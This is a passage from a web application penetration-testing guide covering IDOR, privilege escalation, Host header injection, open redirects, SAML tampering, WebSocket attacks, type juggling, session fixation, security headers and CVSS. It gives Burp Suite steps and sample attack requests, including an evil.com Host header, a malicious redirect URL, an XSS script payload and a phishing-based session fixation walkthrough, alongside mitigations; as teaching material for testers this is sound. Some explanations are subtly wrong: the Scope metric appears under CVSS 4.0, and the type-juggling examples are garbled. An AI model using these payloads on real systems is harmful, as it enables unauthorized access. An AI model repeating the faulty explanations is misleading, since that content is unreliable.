Aspect	MIME Type Sniffing	Content-Type Sniffing
Definition	Browsers attempting to infer the file type (MIME type) based on the file content, ignoring or overriding the Content-Type header.	Browsers interpreting the Content-Type header provided by the server to determine how to handle the resource.

Primary Focus	Focuses on analyzing the actual content of a file to infer its type.	Relies on the server-provided Content-Type header to determine file type.
Role of the Server	Can occur even if the server provides a valid Content-Type, as the browser may override it.	Entirely dependent on the accuracy and security of the Content-Type header set by the server.
Security Risks	Can lead to content sniffing vulnerabilities if the browser guesses incorrectly, e.g., executing scripts in a file served as text/plain.	Vulnerable if the server incorrectly labels files, e.g., serving malicious HTML as text/plain.
Examples	A file containing HTML served as text/plain is sniffed as text/html and executed. A JPEG file is treated as an executable script.	Server sends an incorrect Content-Type header (e.g., application/json for HTML content). A malicious file uploaded without proper Content-Type validation.

36. Insecure Direct Object Reference (IDOR)

Insecure Direct Object Reference (IDOR) is a type of access control vulnerability that occurs when an application exposes a reference to an internal object (such as files, database records, or user accounts) without proper authorization checks. This can allow attackers to directly access or manipulate these objects by modifying parameters, leading to unauthorized data access or modification.

How to test it:

Step 1: Intercept and Analyze Requests

- In Burp Suite, enable **Intercept** mode and navigate through the application to access resources (e.g., viewing user profile, downloading a file, viewing an order).
- Look for parameters in the request that represent unique identifiers, such as **user_id**, **file_id**, or **order_id**.

Step 2: Identify IDOR Parameters

- **Repeater**, look for parameters in the URL, query string, or request body that might be related to object access (e.g., **/profile?user_id=1234**)
- **Examples** of such parameters include **id**, **file**, **user**, **doc_id**, or similar names that indicate direct access to an object.

Step 3: Modify the Object Reference Parameter

- Use **Burp Repeater** to modify the object identifier (e.g., changing **user_id=1234** to **user_id=1235**) and send the modified request to the server.
- Change **file=invoice_1234.pdf** to **file=invoice_1235.pdf** and resend the request.
- **Observe the response:** If you gain access to another user's data or unauthorized content, the application is vulnerable to IDOR.

IDOR Mitigations:

- **Access Control Checks**: Always validate user authorization server-side (Role-Based Access Control, RBAC).
- **Use Indirect References**: Replace predictable object identifiers with random tokens or UUIDs.
- **Object Ownership Validation**: Ensure users can only access objects they own or are authorized to view.
- **Attribute-Based Access Control (ABAC)**: Use contextual access policies based on user attributes (e.g., role, organization).
- **Limit Object References in UI**: Avoid exposing sensitive IDs in URLs or the UI.
- **Secure API Access**: Implement strong authentication and fine-grained permissions for APIs.
- **Logging & Monitoring**: Log access attempts and monitor for suspicious patterns.

37. Privilege Escalation

Privilege Escalation refers to the process of exploiting a vulnerability in a system to gain higher-level privileges than those initially granted. This can allow attackers to access sensitive data, execute unauthorized actions, or gain control over the system.

Vertical Privilege Escalation (Privilege Elevation):

This occurs when a user gains higher privileges than their assigned role. For example, a regular user may escalate their privileges to an admin or root user.

Horizontal Privilege Escalation:

This occurs when a user accesses resources or performs actions that belong to another user with the same privilege level. For example, a regular user might access another user's data or settings without elevated privileges.

How to test it:

Vertical Privilege Escalation Testing:

Intercept the Request:

- Use Burp Suite's **Proxy** to intercept requests made by a user. Look for requests made to admin endpoints or privileged actions.

Modify the Request:

- In **Burp Repeater**, modify the request to try escalating privileges.
  - For vertical escalation, modify the session or Authorization token to mimic an admin role.
  - For example, if a regular user accesses /admin/dashboard, modify the session ID or the role in the request to simulate an admin.

Analyze the Response:

- If the response allows you to access admin functions, the application is vulnerable to vertical privilege escalation.
- Example: Changing session=regular-user-session-id to session=admin-user-session-id could grant admin access if no access control is in place.

Original Request:

```
GET /admin/dashboard HTTP/1.1
Host: example.com
Cookie: session=regular-user-session-id
```

Modified Request:

```
GET /admin/dashboard HTTP/1.1
Host: example.com
Cookie: session=admin-user-session-id
```

Horizontal Privilege Escalation

Original Request:

```
GET /user/profile?user_id=123 HTTP/1.1
Host: example.com
Cookie: session=regular-user-session-id
```

```
GET /user/profile?user_id=124 HTTP/1.1
Host: example.com
Cookie: session=regular-user-session-id
```

Privilege Escalation Mitigations:

- **Enforce Strong Access Control**: Implement strict role-based access control (RBAC) to ensure that users can only access the resources they are authorized for.
- **Use Secure Session Management**: Securely manage session tokens and enforce session expiration. Ensure that users cannot modify session-related data to escalate privileges.
- **Verify Access Control Server-Side**: Always check access control rules on the server side. Don't rely solely on client-side checks or visible roles in URLs.
- **Avoid Predictable User Identifiers**: Use opaque or randomly generated user identifiers (e.g., UUIDs) instead of sequential or guessable IDs that could allow horizontal escalation.

Different between IDOR & Privilege Escalation:

Aspect	IDOR (Insecure Direct Object Reference)	Privilege Escalation
Definition	Occurs when an attacker manipulates an object reference (like an ID) to access unauthorized resources or data.	Occurs when an attacker gains higher privileges (e.g., admin access) than their assigned role.
Target	Affects the access to specific objects/resources based on their identifier (e.g., user data, files).	Affects the access control levels, enabling an attacker to elevate their privileges.
Type of Attack	Exploiting object access control (accessing data or resources belonging to others).	Exploiting privilege management flaws (gaining unauthorized admin or root-level access).
Example	A regular user accesses another user's profile by modifying the user_id parameter in the URL.	A normal user accesses admin functions by changing session tokens or roles.
Scope of Exploitation	Access to unauthorized data/resources within the same user role or privilege level.	Elevation of privileges to gain admin or root access, often involving server-wide control.

38. Host Header Injection

Host Header Injection occurs when an attacker is able to modify the Host header in an HTTP request, leading to potential security vulnerabilities such as redirecting users to malicious sites, bypassing security controls, or compromising backend services.

How to test it:

Normal request:

```
GET / HTTP/1.1
Host: example.com
```

Malicious request:

```
GET / HTTP/1.1
Host: evil.com
```

Host Header Injection Mitigations:

- **Validation and Sanitization User Input:** Validates and sanitize user supply inputs
- **Validate Host Header:** Ensure the Host header matches the expected domain or subdomain.
- **Whitelist Hostnames:** Allow only known, trusted hostnames to be processed.
- **Use Strict Transport Security (HSTS):** Enforce HTTPS to ensure secure communication.
- Respective mapping of the domains that are received in the host header of each http request with itself.
- Use secure server configuration.

39. Open Redirection

Open Redirection occurs when an attacker can manipulate a URL on a website to redirect users to an arbitrary location, typically a malicious website. This is a vulnerability where user input, such as URL parameters, are not properly validated before redirecting.

How to test it:

Original request:

```
GET /redirect?url=https://trustedsite.com HTTP/1.1
Host: example.com
```

Malicious request:

```
GET /redirect?url=http://malicioussite.com HTTP/1.1
Host: example.com
```

Open Redirection Mitigations:

- **Validate URL Parameters**: Ensure redirection URLs are validated and match predefined patterns (e.g., internal URLs).
- **Use Relative URLs**: Prefer using relative URLs for redirection instead of allowing full URLs.
- **Limit Redirection Functionality**: Disable open redirection functionality or restrict it to trusted domains.
- **Sanitize User Input**: Always sanitize user-controlled input, especially URLs in redirection parameters.

Different between Host Header Injection & Open Redirection:

Aspect	**Host Header Injection**	**Open Redirection**
Definition	Occurs when an attacker manipulates the Host header in an HTTP request to influence the server's behavior.	Occurs when an attacker can manipulate a URL parameter to redirect users to a malicious site.
Target	Affects server-side logic and can lead to redirection, caching issues, or internal server misconfigurations.	Affects redirection functionality in the application, leading users to potentially malicious websites.
Attack Objective	Exploiting server-side behavior, such as redirecting users to malicious sites, bypassing security controls, or influencing server-side behavior.	Redirecting users to an attacker-controlled domain, usually for phishing or malware distribution.
Primary Vulnerability	Poor validation of the Host header by the server.	Poor validation of user input in redirection parameters, allowing arbitrary URLs.
Example	An attacker changes the Host header to evil.com, causing the server to treat the request as if it came from that domain.	An attacker manipulates the url parameter in a redirection request to redirect users to http://malicious.com.

40. SAML Injection

SAML **(Security Assertion Markup Language)** Injection is a type of security vulnerability where an attacker manipulates the SAML messages exchanged between the identity provider and service provider. The goal is to modify or forge SAML assertions to gain unauthorized access or elevate privileges.

SAML:

SAML (Security Assertion Markup Language) is an open standard for exchanging authentication and authorization data between parties, particularly between an identity provider (IdP) and a service provider (SP). It is widely used for single sign-on (SSO) systems, allowing users to authenticate once and access multiple services without needing to log in each time.

Key Components of SAML:

- **Assertions**: These contain the authentication, authorization, and attribute data.
  - **Authentication Assertions**: Confirm the identity of the user.
  - **Authorization Assertions**: Define what actions a user can perform.
  - **Attribute Assertions**: Provide additional information about the user, such as email, roles, etc.

SAML Response Tampering (via Man-in-the-Middle Attacks)

Step 1: Intercept and modify the SAML response to inject a malicious SAML assertion.

- After a successful authentication, you'll receive a **SAMLResponse** that contains the SAML assertion. This will typically be a long base64-encoded string. Intercept this response.

SAML Response Example:

```
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Set-Cookie: sessionid=abc123; HttpOnly
...
<input type="hidden" name="SAMLResponse" value="PHNhbWw6QXN...base64encodedstring..."/>
```

Step 2: Decode the SAML Response

- Copy the **SAMLResponse** value from the intercepted request.
- Use a **Base64 decoder** (Burp Suite can do this directly) to decode the base64 string into XML or use online decoder tool.

Step 3: Modify the SAML Response (Injection)

- In the decoded SAML XML, we can try injecting arbitrary data. For instance, change the Role attribute or NameID to impersonate another user or escalate privileges.

Step 4: Re-encode the Modified SAML Assertion

- **After modifying the XML**, **Base64 encode** the modified SAML response. We can either use online Base64 encoder or use of Burp Suite encoder.
- **Forward** the modified response
- **After injecting** the modified SAML assertion, check if the application grants access with the new admin role or impersonates the modified user (e.g., attacker@domain.com).

SAML Request Manipulation:

Inject malicious data into the SAML authentication request to bypass identity verification.

Step 1: Modify SAML authentication Request Parameter values

- Intercept the SAML authentication request (typically sent from the Service Provider to the Identity Provider).
- Check for parameters such as **SAMLRequest**, which is often base64-encoded and compressed.
- Decode and decompress the SAML request and look for parameters such as **<saml:AuthnRequest>** or **<saml:NameIDPolicy>.**
- Modify the request to inject arbitrary values (e.g., change the **user identifier** or **authentication context**).
- Re-encode and re-send the modified SAML request to the IdP.

Step 2: Observation Response

- If SAML Request Modification successful, the SP might authenticate the attacker or the modified user (e.g., if the NameID was changed).

SAML Injection Mitigations:

- **XML Signature Validation**: Always validate the digital signature of the SAML assertions to ensure they come from a trusted Identity Provider (IdP).
- **Strict Input Validation**: Implement strict validation on SAML requests and responses, ensuring that only expected and authorized data is processed (e.g., validate NameID, roles, and attributes).
- **Use Secure Communication**: Always use HTTPS to protect SAML assertions during transmission, preventing interception and tampering.
- **XML Parsing Security**: Use secure XML parsers to prevent attacks like XML External Entity (XXE) and XML Injection.
- **Authentication and Authorization Checks**: Perform robust checks to ensure that the user associated with the SAML assertion has proper authentication and authorization before granting access.
- **Error Handling**: Avoid exposing detailed error messages that could provide attackers with information on the internal workings of your SAML system.
- **Use Multi-Factor Authentication (MFA)**: Implement MFA to add an extra layer of security and reduce the impact of any successful injection.

41. Web Socket Vulnerabilities

WebSocket vulnerabilities arise from improper implementation or configuration of the WebSocket protocol, potentially allowing a malicious user to exploit the web socket them for unauthorized access or manipulation of data. Some of the most common WebSocket vulnerabilities include:

Web Socket:

WebSocket is a communication protocol that provides full-duplex communication channels over a single TCP connection. It is primarily used for real-time web applications, enabling efficient, two-way communication between clients (e.g., web browsers) and servers without the need for frequent HTTP requests.

Key Characteristics of WebSocket:

- **Full-Duplex Communication**: WebSocket enables two-way communication (from client to server and vice versa) over a persistent connection.
- **Persistent Connection**: After the initial handshake, the connection remains open, reducing overhead for each message.
- **Low Latency**: Since WebSockets keep the connection open, messages can be exchanged with lower latency compared to HTTP-based communication.
- **Real-Time Communication**: Ideal for applications that require real-time data exchange, such as **chat applications**, **online gaming**, **live financial trading**, and **collaborative tools**.
- **Protocol**: WebSocket operates on the ws:// (or wss:// for secure) protocol and uses port 80 (non-secure) or 443 (secure).

Web Socket and related vulnerabilities Mitigations:

- **Sanitize Inputs**: Escape or sanitize all user inputs before sending them via WebSocket to prevent script injection.
- **Validate Origins**: Ensure that the WebSocket server validates the Origin header to block cross-origin attacks.
- **Implement Content Security Policy (CSP)**: Use **CSP** to prevent execution of unauthorized scripts in the browser.
- **Use Secure WebSocket Practices**: Always establish connections over **WSS** (WebSocket Secure), not **WS**.
- **Limit Data Interactions**: Avoid exposing sensitive information in WebSocket frames; use encryption where needed.
- **Frame Validation**: Ensure WebSocket frames are properly parsed and not split or altered in ways that could introduce vulnerabilities.

Cross-Site WebSocket Hijacking (CSWH)

Cross-Site WebSocket Hijacking (CSWH) is a type of attack that allows an attacker to take control of a victim's WebSocket connection and perform actions on their behalf. This can happen when the application does not properly authenticate WebSocket connections or does not validate the origin of WebSocket messages.

How to test it:

Step 1: Understand the Application's WebSocket Usage

- Firstly, identify if the application uses WebSockets. Look for requests that have the **Upgrade** header, which indicates a WebSocket connection: **Upgrade: websocket**

Step 2: Inspect the WebSocket Messages

- Go to the **WebSockets** tab in Burp Suite under the **Target** tab to view the WebSocket traffic.
- In the **WebSocket History** window, you will see the messages that the client sends and receives over the WebSocket connection.
- Messages may contain sensitive information such as session tokens, user actions, or application commands.

Step 3: Test WebSocket Origin Validation

- WebSocket servers validate the **Origin** header to ensure that the WebSocket connection is coming from a trusted source. If the server does not perform this check, an attacker can exploit this.
- Use Burp Suite's **Repeater** tool to modify WebSocket requests.
- Change the **Origin** header to simulate an attack from a different domain.
- **Observe** if the WebSocket server accepts the connection of changing **Origin Header** the invalid or malicious Origin header.
- **Exploited:** if the WebSocket is used for real-time chat, you could inject your own WebSocket message to perform actions as if you were the victim user.

WebSocket Smuggling

WebSocket smuggling occurs when an attacker manipulates WebSocket traffic in such a way that it is interpreted differently by intermediary systems (like proxies or firewalls) and the WebSocket server. This allows attackers to bypass

security controls or inject malicious traffic into the WebSocket stream, potentially gaining unauthorized access, performing actions, or sending malicious commands.

How to test it:

Step 1: Intercept Web Socket Traffic

- Capture web socket connection using Burp suite.
- **Enable WebSocket History**: Burp Suite has a specific tab for monitoring WebSocket traffic. To start, navigate to the **Target > WebSockets** tab where you can monitor WebSocket connections.
- **Inspect WebSocket Traffic**: Look for WebSocket upgrade requests, typically marked by the **Upgrade** and **Connection** headers.

Example of WebSocket Handshake Request: Original Request

```
GET /chat HTTP/1.1
Host: example.com
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Sec-WebSocket-Version: 13
```

Step 2: Test for WebSocket Smuggling

- Modify the WebSocket **Sec-WebSocket-Key** header to break the WebSocket handshake, so that intermediaries (like proxies) interpret the traffic differently than the WebSocket server.
- For example, we can split the **Sec-WebSocket-Key** header across multiple frames or inject additional frames.

Modified Handshake Request:

```
GET /chat HTTP/1.1
Host: example.com
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: dGhl
Sec-WebSocket-Key: IHNhbXBsZSBub25jZQ==
```

In this example, the WebSocket key is split across two headers. The WebSocket server might still accept this as a valid connection, while an intermediary proxy might drop or misinterpret the connection, which can lead to bypassing security checks or causing improper processing.

Cross Site Scripting via WebSocket

Cross Site Scripting via WebSocket occurs when malicious JavaScript is injected into WebSocket messages. If the application does not properly sanitize or validate the WebSocket messages before rendering them on the client side, the malicious script can be executed in the user's browser, leading to a traditional XSS attack.

How to test it:

Step 1: Intercept WebSocket Traffic and Identify WebSocket Connections

- Open the target application in the browser and intercept the request via Burp suite that request send to Repeater.
- Look for **Sec-WebSocket-Key** and **Upgrade: websocket** headers in the HTTP handshake, which signals the start of a WebSocket connection.
- **Frame Inspection**: Inspect both the headers and the body of each frame. WebSocket frames may contain user input, chat messages, or other application-specific data that can be manipulated.
- **Payload Injection:** Inject javascript malicious code in web socket header or body, look like below

```
{
 "action": "sendMessage",
 "message": "Hello <script>alert('XSS')</script>"
}
```

- **Response**: If this message is rendered without proper sanitization, the <script> tag might be executed in the client's browser, leading to a **Cross-Site Web Socket Scripting** vulnerability.

42. Type Juggling

Type Juggling is a security vulnerabilities occur when user inputs are automatically converted (coerced) into a different data type, and this behavior is not properly controlled or validated by the application. This can result in **logic flaws** or security vulnerabilities, as the application may interpret data in unexpected ways, leading to unintended behavior or security flaws.

How to test it:

Step 1: Intercept HTTP Request of Web Application

Intercept application user input field request and identify the areas where user input is provided (e.g., forms, URL parameters, cookies).

Step 2: Modify Parameters and Test for Type Coercion:

- Look for input fields or parameters that could be subject to type juggling (like numeric fields, ID values, or flags).
- Modify the values in the intercepted request, testing for coercion behavior.
- **For example:** If a numeric value is expected, try passing it as a string: **"0"**, **"1"**, **"true"**, or **"false"**.
- Test other common coercion techniques such as passing **[] (empty array)** or **{} (empty object).**
- **Observe Responses**:
- Forward the modified requests and observe the application's response.
- Look for anomalies such as:
    - **Bypassing authentication**: Accessing resources without proper authentication.
    - **Input validation bypass**: Entering invalid data and getting accepted.
    - **Unexpected behavior**: Misleading error messages, incorrect data being processed, or unintended state changes.

Step 2: Bypass Authentication

- The application checks for a session ID as a number, but JavaScript's type coercion might allow a string **"0"** to be treated as **0**.
- **Request Original parameter:** session_id=abc12zy345
- Modify parameter of Coercion: **session_id="abc12zy345"**
- If the application is comparing this with **session_id=abc12zy345** (number) and does not correctly validate types, the user may bypass the authentication check.

Step 3: Input Validation Bypass:

- A form or user supplier input expects a numeric **age (30)** value, but passing **"30"** (string) may be accepted as 123 due to coercion.
- The application might perform numeric operations and allow the string value to be accepted, bypassing validation for valid numbers.

Type Juggling Mitigations:

Strict Input Validation:

- Ensure that all inputs are strictly validated for their expected types. Reject any input that doesn't strictly match the expected type (e.g., numbers as numbers, booleans as booleans).

Use Explicit Type Checks:

- Avoid relying on implicit type coercion. Use explicit checks for the type of data before processing it (e.g., typeof or instanceof in JavaScript).

Sanitize User Inputs:

- For any data that will be processed or rendered (especially HTML/JavaScript), sanitize inputs to prevent malicious data from being executed.

Consistent Use of Data Types:

- Ensure that variables are always treated as the correct type and avoid passing strings where numbers or booleans are expected.

Secure Authorization Checks:

- Implement strict authorization checks on both the front-end and back-end and ensure that only authorized users can perform sensitive actions or access protected resources.

43. Session Fixation

Session fixation is a web application security vulnerability that allows a malicious user to hijack a user's authenticated session. This is achieved by tricking the user into using a specific session ID chosen by the attacker. Once the user logs in with this predetermined session ID, the attacker can **take advantage of** the session to access the user's account and sensitive information.

How to test it:

Step 1: A malicious user Accesses the Website:

- The attacker navigates to the banking website (www.banksecure.com) and receives a session cookie:
- **Set-Cookie: sessionid=ATTACK123; Path=/; HttpOnly**

Step 2: Craft Malicious URL with Session ID:

- The attacker crafts a malicious URL containing the predefined session ID **(ATTACK123**):
- **https://www.banksecure.com/login?sessionid=ATTACK123**

Step 3: **Send Malicious URL to Victim:**

- The attacker sends the malicious link via phishing email, with a message like:
  - **Subject:** *Important Security Update!*
  - **Body:** *"Please log in to verify your account security: Click Here to verify."*
- The attacker hopes the victim will click the link and log in to the banking website using the fixed session ID.

Step 4: Victim Clicks the Malicious Link:

- The victim receives the phishing email and clicks on the link, which takes them to the banking login page (www.banksecure.com/login?sessionid=ATTACK123).
- The victim's browser now has the session ID ATTACK123 set as a cookie.
- The victim enters their username and password on the banking website's login page.
- Since the session ID (ATTACK123) is not regenerated after login, the server continues to use the attacker's predefined session ID.
- Even after a successful login, the session ID does not change, remaining ATTACK123. The victim is unaware that their session has been hijacked.

Step 5: Malicious User Exploits the Victim user's Session

- The attacker uses the predefined session ID (ATTACK123) to gain unauthorized access to the victim's account.
- Now that the attacker knows the session ID (ATTACK123), they can impersonate the victim by sending HTTP requests with that session ID.

Step 6: Bank Server Grant Access:

The banking server, seeing the valid session ID ATTACK123, assumes the request is coming from the authenticated victim. The attacker is granted access to the victim's account dashboard.

Session Fixation Mitigations:

Regenerate Session ID After Login:

- Always generate a new session ID after the user logs in to invalidate any pre-existing session IDs.

Set Secure and HttpOnly Flags for Cookies:

- Use **HttpOnly** and **Secure** flags in session cookies to protect them from client-side scripts and ensure they are transmitted only over HTTPS.

Use HTTPS for All Communications:

- Encrypt all communications using HTTPS to prevent session IDs from being intercepted.

Implement Session Expiry:

- Set a reasonable session timeout period, and automatically log out users after inactivity.

Avoid Passing Session ID in URLs:

- Never pass session IDs as URL parameters. Always use cookies for session management.

Implement multi-factor authentication (MFA) for critical actions, such as logging in, changing passwords, or performing financial transactions.

Different between Session Fixation & Session Hijacking

1. Attack Approach:

- **Session Fixation** involves the attacker pre-setting a session ID before the victim logs in, tricking the victim into using that specific session ID.
- **Session Hijacking** occurs after the victim has logged in, where the attacker steals an existing session ID and impersonates the victim.

2. Stage of Attack:

- **Session Fixation** happens **before** login, as the attacker forces the victim to use a predetermined session ID.
- **Session Hijacking** happens **after** the victim has logged in, where the attacker intercepts or steals the session ID.

3. Session ID Ownership:

- **Session Fixation**: The attacker **creates** the session ID.
- **Session Hijacking**: The attacker **steals** an existing session ID.

4. Vulnerability Condition:

- **Session Fixation** exploits a vulnerability where the application doesn't regenerate the session ID after login.
- **Session Hijacking** exploits insecure transmission of session IDs, such as unencrypted HTTP or inadequate cookie protection.

5. Required Knowledge:

- **Session Fixation**: The attacker doesn't need to know the victim's credentials, just the session ID.
- **Session Hijacking**: The attacker needs to either capture or steal a valid session ID from the victim to impersonate them.

44. HTTP Security Headers

Content Security Policy (CSP):

- CSP is a security feature that helps prevent various attacks like Cross-Site Scripting (XSS) and data injection attacks. It defines which resources the browser is allowed to load and execute (e.g., scripts, images, etc.) by specifying rules in the Content-Security-Policy header. This helps mitigate the risk of malicious content being injected into the page.

X-XSS-Protection:

- This header is used to enable or disable the browser's built-in XSS filtering mechanism. When set to 1; mode=block, it tells the browser to block the page if an XSS attack is detected. However, modern browsers like Chrome and Firefox have deprecated or disabled it in favour of CSP.

HTTP Strict Transport Security (HSTS):

- HSTS enforces secure (HTTPS) connections to the server by instructing browsers to only interact with the site over HTTPS, and it prevents SSL/TLS stripping attacks. It is set via the Strict-Transport-Security header, which includes a time period (e.g., max-age=31536000 for one year).

X-Frame-Options:

- This header helps prevent Clickjacking attacks by controlling whether a page can be displayed inside a frame (iframe, object, etc.). It can be set to DENY (the page cannot be displayed in a frame) or SAMEORIGIN (the page can only be displayed in a frame if the framing page is from the same origin).

X-Content-Type-Options:

- This header is used to prevent MIME type sniffing by the browser. By setting it to nosniff, it instructs the browser to strictly follow the declared content type (e.g., text/html, application/json) and not guess the type based on the content.

Referrer-Policy:

- The Referrer-Policy header controls how much information is sent in the Referer header when navigating from the site. It helps reduce the exposure of sensitive information (like query parameters) in the Referer header. For example, no-referrer ensures no referrer information is sent.

Permissions-Policy:

- Formerly known as Feature-Policy, this header allows a website to control which browser features and APIs (like geolocation, camera access, etc.) can be used by the page and its embedded resources. It helps reduce the attack surface by limiting unnecessary access to sensitive browser features.

Access-Control-Allow-Origin:

- This header is part of Cross-Origin Resource Sharing (CORS) and defines which domains are allowed to access the resources on the server. It can be set to a specific domain (e.g., https://example.com) or * (to allow all domains).

Access-Control-Allow-Methods:

- This header specifies the HTTP methods (e.g., GET, POST, PUT, DELETE) that are allowed when accessing a resource. It’s used in conjunction with CORS to define permissible actions on the server's resources.

Access-Control-Allow-Headers:

- This CORS header indicates which headers can be included in the request when making cross-origin requests. For example, it might allow headers like Authorization or Content-Type to be included in the request.

Cache-Control:

- This header defines caching policies for the browser or other intermediate caches (e.g., CDNs). It can be set to control how long content is cached (max-age), whether content can be cached (public or private), and other cache-related directives (e.g., no-cache or no-store).

Cross-Origin-Embedder-Policy:

- This header is used to protect the website against Cross-Origin Resource Sharing (CORS) leaks, especially for sensitive resources. Setting Cross-Origin-Embedder-Policy: require-corp ensures that the document can only load cross-origin resources that explicitly grant permission.

Cross-Origin-Opener-Policy:

- This header prevents cross-origin interactions by ensuring that a document can only interact with documents from the same origin or trusted origins. It is typically used to mitigate attacks like cross-origin attacks or data leaks between windows/tabs.

Content-Disposition:

- This header defines how content should be displayed or downloaded by the browser. For example, Content-Disposition: attachment; filename="file.pdf" instructs the browser to prompt the user to download the file with the specified name instead of displaying it in the browser window.

Timing-Allow-Origin:

- This header is used in conjunction with performance measurements to control whether a resource can expose timing information (e.g., from performance APIs) to cross-origin websites. It's useful for preventing sensitive information leakage in performance data, especially across different domains.

45. OWASP Top 10

1. Broken Access Control:

- Broken access control occurs when an issue with the access control enforcement allows a user to perform an action outside of the user's limits.

- For example, an attacker may be able to exploit a flaw in an application with the intention of gaining elevated access to data to which they are not entitled and can perform unauthorized actions.

2. Cryptographic Failure:

- A cryptographic failure flaw can occur when you store or transmit data in clear text or try to protect data with old or weak encryption.

- For example, consider a site that doesn't enforce TLS for all pages. An attacker steals the user's session cookie and then replays this cookie and hijacks the user's (authenticated) session, accessing or modifying the user's private data.

3. Injections:

- Injection attacks are a type of security vulnerability that arises when an application takes user input and uses that input in an unsafe way.

- Injection attacks are one of the most dangerous attacks where an attacker simply sends malicious data to make the application process it and do something it is not supposed to do.

4. Insecure Design:

- Insecure design expressed as "missing or ineffective control design." If a system or product design is not secure, it can be considered an insecure design.

- For instance, a malicious actor could reserve 600 movie tickets for a specific timeframe, preventing genuine buyers from reserving any. This situation could have been prevented if the system design had limited reservations to just 15 tickets.

5. Security Misconfiguration:

- Misconfiguration vulnerabilities are configuration weaknesses that may exist in software components or may have unneeded services enabled, such as remote administration functionality.

- For example, web server software may ship with default user accounts that an attacker can use to access the system, or the software may contain sample files, such as configuration files and scripts that an attacker can exploit.

6. Vulnerable Components:

- The term "vulnerable" or "outdated" components is used to describe software susceptible to being breached, hacked, or otherwise compromised.

- An attacker may exploit component vulnerabilities and then gain access to unauthorized information, modify data, or cause a denial of service (DoS). Components can include OS, Database, API and Server etc.

7. Identification & Authentication Failure:

- Identification and authentication failures can occur when functions related to a user's identity, authentication, or session management are not implemented correctly.

- Attackers may be able to exploit identification and authentication failures by compromising passwords, keys, session tokens or exploit other implementation flaws to assume other users' identities.

8. Software & Data Integrity Failure:

- Software and data integrity failures relate to code and infrastructure that does not protect against integrity violations or use software from untrusted sources.

- An insecure CI/CD pipeline can introduce the potential for unauthorized access, malicious code, or system compromise.

9. Logging & Monitoring Failure:

- Failure to sufficiently log, monitor, or report security events, makes suspicious behavior difficult to detect and greatly increases the chances of an attacker successfully taking advantage of your application.

- A children's health plan provider's website operator couldn't detect a breach due to a lack of monitoring and logging. The attacker had accessed and modified thousands of sensitive health records.

10. Server-Side Request Forgery:

- Server-Side Request Forgery (SSRF) attacks are used to target internal systems that are behind firewalls and are not accessible from the external network.

46. CVSS Score Calculation

CVSS (Common Vulnerability Scoring System)

CVSS is a standardized framework that calculates a severity score for vulnerabilities, ranging from 0 (low severity) to 10 (critical severity). It is widely used to assess the severity of security vulnerabilities in software and applications.

Base Metrics in CVSS 4.0:

1. Exploitability Metrics:

- **Attack Vector (AV)**: The context in which the vulnerability can be exploited. Values include:
  - **Network (N)**: Exploited over the network (e.g., internet).
  - **Adjacent Network (A)**: Exploited from an adjacent network.
  - **Local (L)**: Exploited locally, i.e., requires local access.
  - **Physical (P)**: Requires physical interaction (e.g., via USB or hardware).
- **Attack Complexity (AC)**: Describes the difficulty of exploiting the vulnerability.
  - **Low (L)**: Exploiting the vulnerability requires minimal skill or special conditions.
  - **High (H)**: Exploiting the vulnerability requires specialized knowledge, tools, or complex conditions.
- **Privileges Required (PR)**: The level of privileges an attacker needs to exploit the vulnerability.
  - **None (N)**: No privileges are required.
  - **Low (L)**: Low-level privileges required (e.g., user-level access).
  - **High (H)**: High-level privileges required (e.g., admin or root access).
- **User Interaction (UI)**: Whether user interaction is required to trigger the vulnerability.
  - **None (N)**: No user interaction is required.
  - **Required (R)**: User interaction is required (e.g., clicking a link).

2. Impact Metrics:

- **Scope (S)**: Indicates whether the exploitation of the vulnerability affects other components or just the vulnerable system.
  - **Unchanged (U)**: Only the vulnerable component is affected.
  - **Changed (C)**: The vulnerability impacts other components or the entire system.
- **Confidentiality Impact (C)**: The impact on the confidentiality of the system's information.
  - **None (N)**: No impact on confidentiality.
  - **Low (L)**: Partial compromise of confidentiality.
  - **High (H)**: Complete compromise of confidentiality.

- **Integrity Impact (I)**: The impact on the integrity of the system or data.
    - **None (N)**: No impact on integrity.
    - **Low (L)**: Partial modification of system or data.
    - **High (H)**: Complete modification of system or data.
- **Availability Impact (A)**: The impact on the availability of the system or resource.
    - **None (N)**: No impact on availability.
    - **Low (L)**: Partial disruption of system or service.
    - **High (H)**: Complete disruption of system or service.

Different between CVSS, CVE & CWE

Key Aspect	CVSS (Common Vulnerability Scoring System)	CVE (Common Vulnerabilities and Exposures)	CWE (Common Weakness Enumeration)
Purpose	Helps quantify and score the severity of a vulnerability based on exploitability and impact. This helps prioritize fixing vulnerabilities based on threat level.	Provides a unique identifier to a specific vulnerability in software or hardware, used globally to reference and track the issue.	Focuses on identifying the underlying weakness in software systems that could lead to vulnerabilities (e.g., failure to sanitize user input leading to an SQL injection).
Scope	Applies to the severity of a vulnerability, including exploitability and impact on confidentiality, integrity, and availability.	Describes a specific vulnerability in a software or hardware system, linking it to a unique ID for easy referencing.	Focuses on the design flaw or coding mistake that leads to a vulnerability (e.g., improper input validation or poor access control).
Format	Scores vulnerabilities on a scale of 0 to 10 (with higher values indicating more severe vulnerabilities). The score is broken down into Base, Temporal, and Environmental components.	Identified using a unique identifier in the format CVE-YYYY-####, where the number is sequential and unique to that particular vulnerability.	Uses a unique identifier in the format CWE-### to identify the type of weakness (e.g., CWE-89 for SQL injection vulnerabilities).
Focus	Focuses on the severity and exploitability of a specific vulnerability. It helps security professionals understand the risk level (e.g., Critical, High, Medium, Low) and allocate resources accordingly.	Focuses on identifying and naming a specific vulnerability. It doesn't assess severity directly but provides the context (e.g., which software is vulnerable, how it's exploited).	Provides a description of weaknesses in software systems that can be exploited. For example, it highlights coding flaws like buffer overflows or improper authorization checks that lead to vulnerabilities.
Usage	Used to assess the severity of vulnerabilities to prioritize response actions. Commonly used in vulnerability scanners, risk management tools, and during vulnerability assessments to assign a numeric severity score.	Used by researchers, vendors, and security tools to track and reference vulnerabilities. It helps track which vulnerabilities have been discovered and whether they have been patched.	Primarily used by developers and security professionals to identify root causes of vulnerabilities, helping prevent issues in the future through better coding practices and design.